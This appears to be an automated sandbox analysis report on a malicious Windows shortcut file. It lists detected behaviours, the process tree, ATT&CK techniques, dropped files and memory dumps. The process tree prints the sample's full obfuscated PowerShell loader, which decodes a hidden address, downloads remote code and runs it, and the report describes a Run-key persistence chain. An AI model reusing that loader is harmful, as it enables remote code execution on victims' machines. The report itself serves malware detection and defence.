Analysis
- max time kernel
150s - max time network
135s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_776274188255.lnk
- Size 2KB
- Sample260729-ntwjhsshpe
- SHA256 17d69a1b7cb10939c79cf3dffbb293089de524e1f14e2c32ed79d5e613c1941b
Malware Config
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 12 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_776274188255.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$cfeytri=49;$zcb39ly=[bigint]::Parse('44042476689033513073665853739569174701218192836426');$d5n_irp=[bigint]::Parse('44042476689032919906575395640601979643949043999713');$zcb39ly=$zcb39ly-$d5n_irp;$qrkng18_mi=@();while($zcb39ly -gt 0){$qrkng18_mi+=[char][int]([bigint]::Remainder($zcb39ly,256));$zcb39ly=[bigint]::Divide($zcb39ly,256)};.([scriptblock]::Create((irm(-join$qrkng18_mi))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$cfeytri=49;$zcb39ly=[bigint]::Parse('44042476689033513073665853739569174701218192836426');$d5n_irp=[bigint]::Parse('44042476689032919906575395640601979643949043999713');$zcb39ly=$zcb39ly-$d5n_irp;$qrkng18_mi=@();while($zcb39ly -gt 0){$qrkng18_mi+=[char][int]([bigint]::Remainder($zcb39ly,256));$zcb39ly=[bigint]::Divide($zcb39ly,256)};.([scriptblock]::Create((irm(-join$qrkng18_mi))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\Documents\kmssisfdt__upd_ddtq_c6bbf7d91ced40\psl.exe"C:\Users\Admin\Documents\kmssisfdt__upd_ddtq_c6bbf7d91ced40\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\Documents\kmssisfdt__upd_ddtq_c6bbf7d91ced40\psl.exe"C:\Users\Admin\Documents\kmssisfdt__upd_ddtq_c6bbf7d91ced40\psl.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libunistring-5.dll
msvcp140.dll
waccohf_sddin_ptoys_i.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
libpsl-5.dll
psl.exe
ucrtbase.dll
DCRCVDrv.sys
memory/2052-156-0x00007FF63E490000-0x00007FF63E4A5000-memory.dmp
memory/4064-150-0x00007FF7948D0000-0x00007FF7948E5000-memory.dmp
memory/4064-154-0x00007FF7948D0000-0x00007FF7948E5000-memory.dmp
memory/4384-16-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-11-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-21-0x000001FCD4750000-0x000001FCD4802000-memory.dmp
memory/4384-22-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-24-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-23-0x000001FCD4280000-0x000001FCD428A000-memory.dmp
memory/4384-26-0x000001FCD42C0000-0x000001FCD42E4000-memory.dmp
memory/4384-25-0x000001FCD42C0000-0x000001FCD42EA000-memory.dmp
memory/4384-27-0x000001FCD4F20000-0x000001FCD5448000-memory.dmp
memory/4384-28-0x000001FCD4280000-0x000001FCD428A000-memory.dmp
memory/4384-29-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-30-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-32-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-34-0x000001FCD49F0000-0x000001FCD4A02000-memory.dmp
memory/4384-17-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-0-0x00007FF9C3B7F000-0x00007FF9C3B80000-memory.dmp
memory/4384-15-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-78-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-14-0x000001FCD4820000-0x000001FCD49E2000-memory.dmp
memory/4384-13-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-12-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-20-0x000001FCD4260000-0x000001FCD427E000-memory.dmp
memory/4384-3-0x000001FCBC090000-0x000001FCBC0B2000-memory.dmp
memory/4384-10-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-9-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-8-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-7-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-6-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-5-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4384-4-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp
memory/4744-152-0x00007FF7948D0000-0x00007FF7948E5000-memory.dmp
memory/4744-149-0x00007FF7948D0000-0x00007FF7948E5000-memory.dmp
memory/5224-159-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-169-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-161-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-165-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-173-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-177-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-179-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-183-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-187-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5224-191-0x00000000056C0000-0x00000000056E6000-memory.dmp
memory/5832-282-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-275-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-273-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-271-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-269-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-267-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-265-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-263-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-261-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-259-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-255-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-253-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-251-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-249-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-247-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-243-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-241-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-239-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-235-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-233-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-231-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-229-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-227-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-225-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-221-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-219-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-217-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-215-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-213-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-211-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-209-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-207-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-205-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-203-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-201-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-199-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-280-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-283-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-285-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-287-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-291-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-289-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-158-0x0000000005700000-0x000000000572C000-memory.dmp
memory/5832-157-0x00000000056E0000-0x00000000056FA000-memory.dmp
memory/5832-151-0x0000000000400000-0x0000000000470000-memory.dmp
memory/5832-277-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-257-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-245-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-237-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-223-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-197-0x0000000005700000-0x0000000005726000-memory.dmp
memory/5832-2037-0x0000000005990000-0x00000000059F6000-memory.dmp
memory/5832-2040-0x0000000006B50000-0x0000000006BE2000-memory.dmp
memory/5832-2041-0x00000000071B0000-0x000000000776A000-memory.dmp
memory/6096-130-0x0000000000010000-0x000000000003D000-memory.dmp